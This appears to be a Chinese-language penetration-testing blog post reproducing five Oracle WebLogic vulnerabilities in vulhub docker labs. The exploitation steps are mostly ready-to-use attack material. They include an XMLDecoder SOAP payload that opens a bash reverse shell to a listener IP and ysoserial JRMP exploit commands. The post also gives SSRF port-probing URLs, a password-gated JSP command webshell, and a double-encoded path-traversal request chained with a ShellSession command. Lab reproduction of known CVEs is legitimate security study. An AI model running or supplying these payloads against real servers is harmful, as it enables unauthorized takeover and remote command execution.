滲透測試之路：WebLogic中間件漏洞復現
介紹
WebLogic是由美國Oracle公司出品的一application server，準確的說就是一個基于JAVAEE而開發的一個中間件，類似Tomcat，WebLogic是一個用于開發，集成，部署與管理大型分布式Web應用，網絡應用和數據庫的java應用服務器。將java動態功能與java Enterprise標準的安全性引入大型網絡應用的開發，集成，部署與管理之中。
其實WebLogic與我們所用的Tomcat定位一樣，是用于部署java web程序的服務器，用于連接客戶端與服務器甚至可以部署管理數據庫，對其進行管理，這也正是WebLogic與Tomcat的不同之處，WebLogic可以用于部署大型的項目，因為WebLogic中包括了ejb，jsp，servlet，jms的容器，是可以實現更高更多的功能，但是Tomcat是官方指定的jsp$servlet服務器，只實現了jsp/servlet的相關規范，并不支持EJB，但是對于我們學習或者搭建小型java web項目時，Tomcat是很方便的容器。
WebLogic Server憑借其出色的群集技術，處理關鍵的Web應用系統問題所需的性能，可拓展性與高可用性。
即實現了網絡群集，也實現了EJB組件群集，不需要任何專門的硬件或操作系統支持，可以實現透明的復制，負載平衡以及表示內容容錯。但是無論是網頁群集還是組件群集，對于電子商務解決方案所需可拓展性與可用性都是至關重要的。共享客戶機/服務器和數據庫連接以及數據緩存和EJB都增強了性能表現，這也是其他Web應用程序所不具備的，所以在拓展性方面WebLogic是遠超了Tomcat。
一、CVE-2017-10271漏洞復現
1、官方文檔
在CVE官網找到官方的描述：
Oracle Fusion Middleware 的 Oracle WebLogic Server 組件中的漏洞（子組件：WLS Security）。受影響的受支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0 和 12.2.1.2.0。易于利用的漏洞允許未經身份驗證的攻擊者通過 T3 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。CVSS 3.0 基本分數 7.5（可用性影響）。CVSS Vector： （CVSS：3.0/AV：N/AC：L/PR：N/UI：N/S：U/C：N/I：N/A：H）.
2、問題類型
易于利用的漏洞允許未經身份驗證的攻擊者通過 HTTP 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。
3、影響版本
Weblogic Server
- =10.3.6.0.0：影響 10.3.6.0.0
- =12.1.3.0.0：影響 12.1.3.0.0
- =12.2.1.1.0：影響 12.2.1.1.0
- =12.2.1.2.0：影響 12.2.1.2.0
4、漏洞描述
在Oracle Fusion Middleware中的Oracle Weblogic Server組件的WLS Security子組件存在的安全漏洞，使用精心構造的xml數據可能造成任意代碼執行，攻擊者需要發送構造的HTTP請求，就可以得到目標服務器權限。攻擊者可以利用漏洞控制組件，影像數據的可用性，保密性以及完善性。
兄弟們不難看出，與CVE-2018-2628不同的是，這次我們是偽造HTTP數據包進行構造payload,而CVE-2018-2628中是利用T3協議，直接在其中間插入反序列化的惡意代碼，使其執行惡意類造成對象的直接調用。所以兩個漏洞的原理其實都是反序列化，對于對象的直接調用導致，只不過利用原理不同。
其實CVE-2017-10271前身是CVE-2017-3506，在早期Oracle官方就發布了對于CVE-2017-3506的補丁，但是其實只是采用了黑名單的修復方案，所以經過精心的構造，還是可以抓包構造相應的http請求進行利用。
經過我個人復現之后發現核心思想就是Weblogic Sercurity組件對外提供了webservice服務，其中利用了xmldecoder的方式來解析用戶所傳輸的xml數據，于是在解析過程中就出現了反序列化漏洞，導致了可執行的命令。
當我們在復現時，訪問wls-wsat/WorkContextServer這個目錄，發現可以訪問就說明有此漏洞，但是我看了很多文章，都沒有說到到底為什么，或者這個目錄文件是干什么的，這個其實是weblogic中wls-wast.war包提供的一個類，通過wls-wsat提供web service服務，之后通過WLSServletAdapter進行處理，之后交給WorkContextServerTube類處理POST提交的數據包中xml的數據。
看到一文章詳細解釋了調用過程，想要探究的兄弟移步：
https://www.secpulse.com/archives/66572.html
5、復現過程
（1）搭建環境，首先利用docker搭建vulhub靶場，進入對應目錄，并搭建環境
之后我們先查看vulhub提供的README.MD文件查看復現流程，發現其實和我們分析的一樣，進行抓包修改http數據包進行惡意類實現。
（2）首先驗證漏洞是否存在，利用安恒信息為大家提供的漏洞專項檢測工具進行檢測，發現檢測成功，漏洞確實存在。
（3）直接進行驗證。當我們搭好環境后發現可以訪問
http://127.0.0.1:7001/wls-wsat/CoordinatorPortType時說明存在此漏洞。
（4）利用win10主機進行訪問，抓包修改http數據包。
（5）進行反彈shell。
在我們修改數據包插入poc之前首先監聽靶機端口。
之后修改poc進行發送，反彈shellpoc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bashstring> void> <void index="1"> <string>-cstring> void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.0.134/4444 0>&1string> void> array> <void method="start"/>void> java> work:WorkContext> soapenv:Header> <soapenv:Body/> soapenv:Envelope>
修改數據包
如圖，首先請求類型為post，才能在下面添加poc
之后修改content-type類型為text/xml,直接修改文件類型可能會造成xml解析錯誤
之后將poc中ip改為監聽地址
成功反彈shell
注意，復現此漏洞時我只用了一個虛擬機
文件上傳
抓包并修改數據包實現文件上傳漏洞，文件上傳poc。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txtstring>
<void method="println">
<string>monster_teststring>
void
>
<void method="close"/>
object>
java>
work:WorkContext>
soapenv:Header>
<soapenv:Body/>
soapenv:Envelope>
放包，之后訪問上傳界面
二、CVE-2018-2628漏洞復現
1、官方文檔
在CVE官網中找到官方描述：
Oracle Fusion Middleware 的 Oracle WebLogic Server 組件（子組件：WLS Core Components）中的漏洞。受影響的受支持版本包括 10.3.6.0、12.1.3.0、12.2.1.2 和 12.2.1.3。易于利用的漏洞允許未經身份驗證的攻擊者通過 T3 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。CVSS 3.0 基本分數 9.8（機密性、完整性和可用性影響）。CVSS Vector： （CVSS：3.0/AV：N/AC：L/PR：N/UI：N/S：U/C：H/I：H/A：H）.
2、問題類型
易于利用的漏洞允許未經身份驗證的攻擊者通過 T3 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。
3、影響版本
Weblogic Server
- =10.3.6.0：影響 10.3.6.0
- =12.1.3.0：影響 12.1.3.0
- =12.2.1.2：影響 12.2.1.2
- =12.2.1.3：影響 12.2.1.3
復現時利用jdk 1.7以上版本就可以
4、知識點補充
在復現漏洞之前首先需要了解一些名詞與協議知識。
（1）JAVA RMI(java remote method invocation) java遠程方法調用：
在編程語言中，是一種用于實現遠程過程調用的應用程序接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。這一方法可以使編程人員在網絡環境中進行分布式操作。rmi全部的宗旨就是盡可能簡化遠程調用接口對象的使用。java rmi極大依賴于接口。在需要創建一個遠程對象的時候，程序員可以通過傳遞一個接口來隱藏底層的實現細節。客戶端得到的遠程對象正好與本地的根代碼連接，由后者負責透過網絡通信。
rmi可以直接跨越jvm(java虛擬機)進行調用遠程方法，一般java方法調用指的是調用一個jvm內的一個方法，但是rmi與之恰恰相反。
例如我們利用瀏覽器對于一個http協議實現的接口進行調用，這個接口可以稱之為interface invocation,而rmi的概念與之相似，同是調用，知識http協議調用的是一個接口，但是rmi調用的是一個java方法，java中對于rmi進行了一系列的定義。
通俗易懂：rmi就是對于java遠程方法的調用。
（2）JRMP協議(java remote method protocol) java遠程調用協議：
jrmp是基于tcp/ip之上的線路層協議，rmi的過程，就是利用jrmp協議進行組織數據格式之后通過tcp協議進行傳輸，從而達到rmi方法的實現，遠程方法調用。
同rmi介紹中，我們使用瀏覽器進行訪問一個網絡接口時，瀏覽器與服務器之間的數據傳輸以及數據格式之間的組織，是用到基于tcp/ip之上的Http協議，只有基于Http協議，瀏覽器與服務端才能約定好，進行正常的交流通訊，jrmp也是基于此原理，但是jrmp僅用于java RMI中。
jrmp是一個用于rmi (java遠程方法調用的協議)只有基于此協議，調用雙方才能正常數據交流。
關鍵的是，jrmp協議對于rmi調用雙方都必須是依賴于java語言的，即客戶端與服務端都必須使用java，jrmp是基于流的協議，只能是一個對象的java到java的調用。
可以參考上面的rmi調用步驟圖進行理解。
（3）T3協議：
之前提及jrmp只用于單個對象的java到java調用，而T3協議就是用于Weblogic服務器與其他類型的java程序之間進行傳輸信息的程序。Weblogic跟蹤連接到應用程序的每個jvm，將流量傳輸到jvm，Weblogic會創建一個T3連接，該連接會通過消除網絡之間的多個協議來進行最大化效率，從而使用較少的操作系統資源。用于T3連接的協議還可以最大限度減少數據包大小，提高傳輸速度。
T3協議主體包括： 1.請求包頭 2.請求主體 請求包頭類似： t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1 以結束 同時，我們發送t3的請求包，可用于刺探服務器weblogic版本，該服務器會將自身版本進行響應，形如 HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000 而在此漏洞中原理也是，在T3協議中將一部分替換為惡意序列化數據進行惡意操作的實現
（4）ysoserial：
java反序列化漏洞原理的分析，大多都是分析使用Apache Commons Collections這個第三方庫，我們分析學習的cc鏈也是基于此庫，而ysoserial則是一個用于生成利用不安全的java對象反序列化的有效負載的概念驗證工具。為java反序列化提供了更多的可能。
ysoserial利用了java反射機制與動態代理機制生成poc。
感興趣的兄弟可以下載分析一波，里面有很多payload值得學習。
當時在導入maven包時可能會有報錯，正常問題，百度就可以找到大致解決方法。
5、復現過程
（1）首先我們打開虛擬機，啟動vulhub/weblogic/CVE-2018-2628環境，利用docker ps查看uid與啟動端口。
（2）此時訪問http://127.0.0.1:7001/console/就可以訪問到weblogic
（3）環境布置成功，此時我們了解一下復現的原理。
由于docker只能與布置主機(虛擬機)進行直接命令互通，所以我們直接利用虛擬機作為攻擊機，利用docker作為靶機進行復現。
查看docker容器的ip
即攻擊機ip:192.168.0.134
靶機ip:172.24.0.2
（4）環境建立好了，ip也知道了，此時我們在兩臺服務器之間建立JRMP服務，在攻擊機中啟動一個JRMP Server，利用ysoserial來建立。
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
加載成功，一開始可能會報錯，連接錯誤或拒絕訪問，多試幾次就可以了。
（5）查看文件位置
有了! 注意此時我是在weblogic文件夾中建立的，推薦在桌面創建一個文件夾進行下載存儲。
此時我們利用ysoserial來監聽weblogic中的7001端口。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099(監聽端口) CommonsCollections1 'touch /tmp/執行命令'
（6）開始監聽
之后我們到利用類下載網站https://www.exploit-db.com/exploits/44553下載exploit腳本。
下載后拖動虛擬機或直接下載都可以
直接下載命令：
wget https://www.exploit-db.com/download/44553 下載下來的python文件，沒有格式，我們就要手動改一下，才能運行 mv 44553 44553.py
（7）之后調用腳本進行執行之前的exp
python 44553.py 172.24.0.2 7001(weblogic地址及端口) ysoserial-0.0.6-SNAPSHOT-BETA-all.jar(ysoserial目錄，一般默認) 192.168.100.34 1099(本機地址及端口) JRMPClient(調用jrmp的類) python 44553.py 172.24.0.2 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.100.34 1099 JRMPClient
（8）執行成功!查看端口回顯:
（9）查看docker目錄下是否多了lidalu.txt
我們發現，命令執行成功了，此時可以驗證，復現成功了!
三、CVE-2014-4210 SSRF漏洞復現
1、官方文檔
Oracle Fusion Middleware 10.0.2.0 和 10.3.6.0 中的 Oracle WebLogic Server 組件中存在未指定的漏洞，使得遠程攻擊者能夠通過與 WLS 相關的載體 （ Web Services） 影響機密性。
2、影響版本
weblogic
10.0.2--10.3.6.0
3、漏洞描述
在weblogic 10.0.2--10.3.6.0版本，
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp處存在漏洞，我們可以同通過構造請求來利用返回的錯誤信息來觀察探測開放端口的狀態等，甚至可以通過該ssrf構造任意http請求來攻擊內網redis或fastcgi等組件。
4、SSRF
***ssrf(server-side request forgery:服務器請求偽造)***是一種由攻擊者構造的由服務端請求的一個安全漏洞。
通常情況下，一般防火墻只對于外部網絡進行防護，但是對于內部網絡沒有過多的措施，于是我們直接偽裝成為內部機器向內網發送請求，機器就會判定這樣的請求是安全可靠的，于是就會執行我們所想要執行的命令，也就繞過了防火墻的限制，并對內網實現橫向滲透，這就是一般ssrf的實現方式：
例如：
假設一個公司的網絡對于外網提供了名為public.example.com的網站服務器，該網站通過后置/proxy，來對于url中的指定參數進行網頁鏈接的跳轉，例如
public.example.com/proxy?url=google.com此時頁面就會跳轉到谷歌界面，此公司的后臺管理界面域名為admin.example.com，此鏈接只能由內部網絡進行訪問，外網無法直接訪問，于是此時我們如果構造public.example.com/proxy?url=admin.example.com來訪問，會發生什么情況呢，此時內網會判定此請求是由供公司內部機器進行的請求，于是就會直接跳轉到相應的界面，這就是對于外部的服務與內部機器之間沒有實施相應的安全措施，就造成了ssrf的實現
ssrf實現:
通常情況下，ssrf一般發生在服務端在請求外部資源的情況中，例如有時服務端應用會請求讀取外部圖片來創建縮略圖
或者在瀏覽評論時有視頻文件的動態資源圖片 ，于是，如果此時服務端沒有對于圖片或gif動圖采取內部資源處理的話，我們就可以利用其來實現ssrf
進一步訪問內部網絡中的信息系統
還有如果一個網站支持以url的形式獲取用戶頭像的話，并且并沒有對于內部資源或url有進一步的安全措施，我們就可以通過ssrf實現惡意功能
ssrf攻擊形式：
1.我們可以在目標url后添加不同ip來根據回顯信息了解服務器的一些信息或內網的信息
2.我們在ip后加不同的port也可以根據回顯信息來判斷服務或一些端口信息，實現內網端口掃描
3.最嚴重的，ssrf可以通過構造一些危險url獲取到一些信息，比如管理員密碼，之后上傳webshell，之后你懂的
或者對于一些薄弱的網址或不安全的管理界面入手進行，利用其弱點進行構造腳本，來實現遠程代碼執行
至于具體實現方式，大家了解就好，切勿做違法亂紀的事。
5、復現過程
（1）復現這個漏洞的時候我docker訪問redies的時候發生了錯誤，就是拖托取環境失敗了，于是我們在本機進行手動搭建weblogic環境復現：
首先下載weblogic環境，可以在下面網盤下載： https://pan.baidu.com/s/1wz1_ctJJdaYYXaXpmNO0kw#list/path=%2F&parentPath=%2Fsharelink765468514-715314846720175 或者直接去官網進行下載： https://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html 下載后安裝，下面提供安裝教程： https://blog.csdn.net/hdqhdq123/article/details/41745889 因為上面網盤提供的就是10.3.6.0，所以我特意找了一個對應版本的教程
2、安裝成功后，打開
（3）對應目錄下的cmd文件，會自動啟動weblogic服務，如下信息表示啟動成功
（4）訪問http://youip:7001訪問weblogic,之后我們進入漏洞所在目錄：
http://192.168.0.1:7001/uddiexplorer
（5）漏洞存在于
（6）此時我們構造惡意url，進行發包
在url后面加入： ?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://youip:7001
（7）回顯如下結果，此回顯表示此ip存在并且端口開放，
（8）此處泄露了內網信息，此時我在本地搭建，所以顯示localhost，如果我們現實遇到不會顯示localhost，我們訪問redis服務，顯示未開放
對于ssrf探測回顯信息的意義有四種： 對于請求未開放的服務： weblogic . uddi. client. structures. exception.XML_ SoapException: Triedall:'1' addresses, but could not connect over HT TP to server:'fuzz.wuyun.com', port: '88' 對于請求可能被識別的服務： weblogic.uddi. client structures. exception.XML SoapException:Received a response from url: http :/www.baidu.com/ which did not have a valid SOAP content-type: text/html; charset=UTF-8. 即我們之前提及的可以跳轉的url 對于請求開放的服務： weblogic . uddi. client. structures.exception.XML SoapException:Received a response from url: http://fuzz .wuyun .com:22 /helo which did not have a valid SOAP content-type: null. 對于不可被識別的服務： weblogic.uddi. client. structures .exception.XML_ SoapException:Received a response from url: http://fuzz .wuyun.com:22 which didnot have a valid SOAP content-type: null.
此時我們訪問6389端口發先未開放redis服務，因為我沒有搭建數據庫等內網服務。
當我們遇到開放redis服務的機器時，即6389顯示開放的機器，我們利用此機器為跳板，向開啟redis的機器發送彈shell的腳本到/etc/cronrab文件，之后開啟監聽，反彈shell即可。
四、CVE-2018-2894漏洞復現
1、官方文檔
Oracle Fusion Middleware 的 Oracle WebLogic Server 組件中的漏洞（子組件：WLS - Web Services）。受影響的受支持版本包括 12.1.3.0、12.2.1.2 和 12.2.1.3。易于利用的漏洞允許未經身份驗證的攻擊者通過 HTTP 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。CVSS 3.0 基本分數 9.8（機密性、完整性和可用性影響）。CVSS Vector：（CVSS：3.0/AV：N/AC：L/PR：N/UI：N/S：U/C：H/I：H/A：H）.
2、影響版本
Weblogic Server
- 12.1.3.0
- 12.2.1.2
- 12.2.1.3
在網上看到很多文章都寫了包括版本10.3.6.0的weblogic，但是我搭完環境之后查看，沒有在域管理高級設置里找到Enable Web Service Test Page這一選項，如果有懂的兄弟可以告我一聲。
3、漏洞描述
在多個Weblogic Server版本中，我們通過開啟web服務測試頁也就是上面所說的Enable Web Service Test Page，可以實現任意文件上傳，但是其實經過測試，這個洞可用之處少之又少，因為其實在生產模式中，web服務測試頁是默認關閉的，所以我們其實是無法從外網訪問到weblogic的，所以其實利用范圍很局限。
在打開web服務測試頁選項后，我們設置測試頁地址為一個公開地址，之后在此頁面展示上傳文件處即可實現任意文件上傳。
4、漏洞復現
（1）我利用了docker+vulhub進行復現，首先部署環境。
（2）查看readme.me文件了解思路
（3）通過docker-compose logs | grep password命令獲取weblogic后臺登錄用戶名密碼（win中搭建環境的兄弟在安裝的時候就會顯示設置賬號密碼，之前提起，我們不多做解釋）。
（4）輸入進行登錄
（5）登陸成功后，在域管理中找到其他選項設置
（6）勾選中服務器測試頁選項（我之前說的10.3.6.0沒有此選項就是這個）
（7）設置完成后我們設置測試頁面
訪問http://172.17.0.1:7001/ws_utc/config.do
或訪問
http://172.17.0.1:7001/ws_utc/begin.do
訪問config.do修改work home dir為靜態地址
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
因為這個地址是外網可以訪問的，我們自動部署的web服務就在這個地址，這個目錄外網可以訪問且不需要權限，外網通過http://your-ip:7001/ws_utc/css/文件名來訪問這個地址下的文件，于是此時我們就可以實現任意文件上傳了
在security中添加文件
（8）上傳webshell
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
"); while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
"); }
%>
上傳成功
（9）打開網頁控制臺，找到對應前臺代碼，找到時間戳
（10）之后訪問上傳的文件，
http://192.168.0.134:7001/ws_utc/css/config/keystore/[時間戳]_[文件名]執行webshell（注意此時訪問的是你虛擬機的地址，不能是127，否則會顯示404）
（11）查看文件目錄執行成功，在網上看文章，一個師傅寫了一個大馬，我們利用一下。
執行jsp大馬
上菜刀!
連接好了!
我看到的jsp大馬老哥的網址在這，兄弟們可以移步
https://blog.csdn.net/weixin_43625577/article/details/97001677
復現完成后兄弟們其實也發現這個洞的局限之處，就是版本控制嚴重而且一般不會對外開放測試頁面的，所以想要上傳文件其實是很難的
五、CVE-2020-14882
1、官方文檔
Oracle Fusion Middleware 的 Oracle WebLogic Server 產品中的漏洞（組件：控制臺）。受影響的受支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0 和 14.1.1.0.0。易于利用的漏洞允許未經身份驗證的攻擊者通過 HTTP 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。CVSS 3.1 基本分數 9.8（機密性、完整性和可用性影響）。CVSS Vector： （CVSS：3.1/AV：N/AC：L/PR：N/UI：N/S：U/C：H/I：H/A：H）.
2、問題描述
易于利用的漏洞允許未經身份驗證的攻擊者通過 HTTP 進行網絡訪問，從而破壞 Oracle WebLogic Server。成功攻擊此漏洞可導致 Oracle WebLogic Server 被接管。
3、影響版本
WebLogic Server
- =10.3.6.0.0：影響 10.3.6.0.0
- =12.1.3.0.0：影響 12.1.3.0.0
- =12.2.1.3.0：影響 12.2.1.3.0
- =12.2.1.4.0：影響 12.2.1.4.0
- =14.1.1.0.0：影響 14.1.1.0.0
4、漏洞描述
2020十月的weblogic服務器更新中，官方修復了兩個由長亭科技安全研究員@voidfyoo提交的安全漏洞，為cve-2020-14882與cve-2020-14883
14882漏洞允許未授權用戶繞過管理控制臺的權限驗證訪問后臺，14883允許后臺任意用戶通過http協議執行任意命令，使用兩個漏洞形成的利用鏈可以通過一個GET請求在遠程weblogic服務器上以未授權的任意用戶執行命令。
vulhub文件描述：
這個漏洞是一個console組件的未授權訪問，而cve-2020-14882就在未授權的前提之下，在console進行代碼執行，攻擊者于是可以構造特殊的http請求，在未經驗證的情況下接管weblogic server console，并執行任意代碼，觸發在console組件，而console對應的webapp，所以形成了此漏洞。
網上看到一篇對于14882與14883的分析文章，想探究或者了解代碼原理的兄弟們移步https://cert.#/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
5、漏洞復現
（1）利用docker+vulhub搭建環境
（2）查看readme.me文件了解復現步驟以及復現原理
（3）訪問http://192.168.0.134:7001/console進入登錄界面
之后我們訪問構建的url直接繞過訪問后臺界面
http://192.168.0.134:7001/console/css/%252e%252e%252fconsole.portal
%252e%252e%252f就是二次編碼過的../，利用此轉義實現穿越路徑未授權訪問后臺。
但是此時我們看到，與之前利用賬號密碼登錄的時候少了很多東西，因為未授權登錄使我們權限不足，缺少部署執行等功能，我們利用14883來進行組合攻擊。
（4）首先我們利用exploit類執行某些命令，下載exploit
（5）我們試一下執行命令，抓包
修改數據包，構造執行命令打開計算機
放包
（6）實現寫入文件，還是一樣的思路，抓包
修改數據包，實現寫入文件
POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
Host: 192.168.0.134:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/123.txt');")
成功寫入！
